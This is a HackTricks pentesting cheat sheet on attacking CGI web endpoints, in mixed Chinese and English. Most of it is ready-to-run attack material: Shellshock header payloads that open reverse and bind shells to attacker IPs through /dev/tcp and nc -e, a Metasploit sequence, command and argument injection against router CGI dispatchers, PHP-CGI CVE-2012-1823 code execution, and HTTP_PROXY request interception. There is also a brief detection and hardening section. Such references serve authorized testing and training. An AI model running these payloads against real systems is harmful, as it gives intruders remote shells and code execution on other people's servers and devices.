CGI Pentesting

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

信息

The CGI scripts are perl scripts, so, if you have compromised a server that can execute .cgi scripts you can upload a perl reverse shell (/usr/share/webshells/perl/perl-reverse-shell.pl), change the extension from .pl to .cgi, give execute permissions (chmod +x) and access the reverse shell from the web browser to execute it. In order to test for CGI vulns it’s recommended to use nikto -C all (and all the plugins)

ShellShock

ShellShock 是一个影响 Unix 系统中广泛使用的 Bash 命令行 shell 的 vulnerability。它利用了 Bash 运行由应用传入命令的能力。漏洞在于对 环境变量 的操控,环境变量是影响进程运行的动态命名值。攻击者可以通过在环境变量中附加 恶意代码 来利用此漏洞,这些代码在接收该变量时会被执行,从而可能导致系统被攻破。

利用此漏洞时,页面可能会抛出错误

你可以通过注意它使用了 旧的 Apache 版本cgi_mod (with cgi folder),或使用 nikto发现此漏洞。

测试

大多数测试是基于 echo 某些内容并期望该字符串在 web 响应中返回。如果你认为某个页面可能存在漏洞,搜索所有 cgi 页面并对其进行测试。

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (reflected, blind and out-of-band)

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Exploit

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

中央化 CGI 分发器(通过选择器参数进行单端点路由)

许多嵌入式 web UI 在单个 CGI 端点后复用数十个具有特权的操作(例如,/cgi-bin/cstecgi.cgi),并使用像 topicurl=<handler> 的选择器参数将请求路由到内部函数。

Methodology to exploit these routers:

  • 枚举 handler 名称:scrape JS/HTML、brute-force 使用 wordlists,或 unpack firmware 并用 grep 搜索分发器使用的 handler 字符串。
  • 测试未认证可达性:某些 handler 忘记执行 auth checks 并可直接被 callable。
  • 关注会调用 system utilities 或 touch files 的 handler;弱校验器通常只阻止少数字符,可能会漏掉前导连字符 -

Generic exploit shapes:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
topicurl=<handler>&param=-n

# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

# 3) Validator bypass → arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc

检测与加固:

  • 监控对集中式 CGI 端点的未认证请求,检查 topicurl 是否指向敏感处理程序。
  • 标记以 - 开头的参数(argv 选项注入尝试)。
  • 厂商:对所有会改变状态的处理程序强制认证,使用严格的允许列表/类型/长度进行验证,且绝不将用户控制的字符串作为命令行标志传递。

旧版 PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

基本上,如果 cgi 启用且 php 是 “旧版” (<5.3.12 / < 5.4.2) 你可以执行代码。 为了利用此漏洞,你需要在不发送参数的情况下访问 Web 服务器上的某个 PHP 文件 (特别是不要发送字符 “=”)。 然后,为了测试该漏洞,你可以访问例如 /index.php?-s (注意 -s) 并且 应用程序的源代码将出现在响应中

然后,为了获得 RCE,你可以发送这个特殊查询: /?-d allow_url_include=1 -d auto_prepend_file=php://input,并将要执行的 PHP 代码 放在 请求体 中。示例:

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

有关该漏洞及可能利用的更多信息: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.

Proxy (MitM to Web server requests)

CGI 为 HTTP 请求中的每个 header 创建一个环境变量。例如:“host:web.com” 会被创建为 “HTTP_HOST”=“web.com”

由于 HTTP_PROXY 变量可能会被 web server 使用,尝试发送一个包含以下内容的 headerProxy: <IP_attacker>:<PORT>。如果服务器在会话期间执行了任何 request,你就能够捕获服务器发出的每个 request。

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks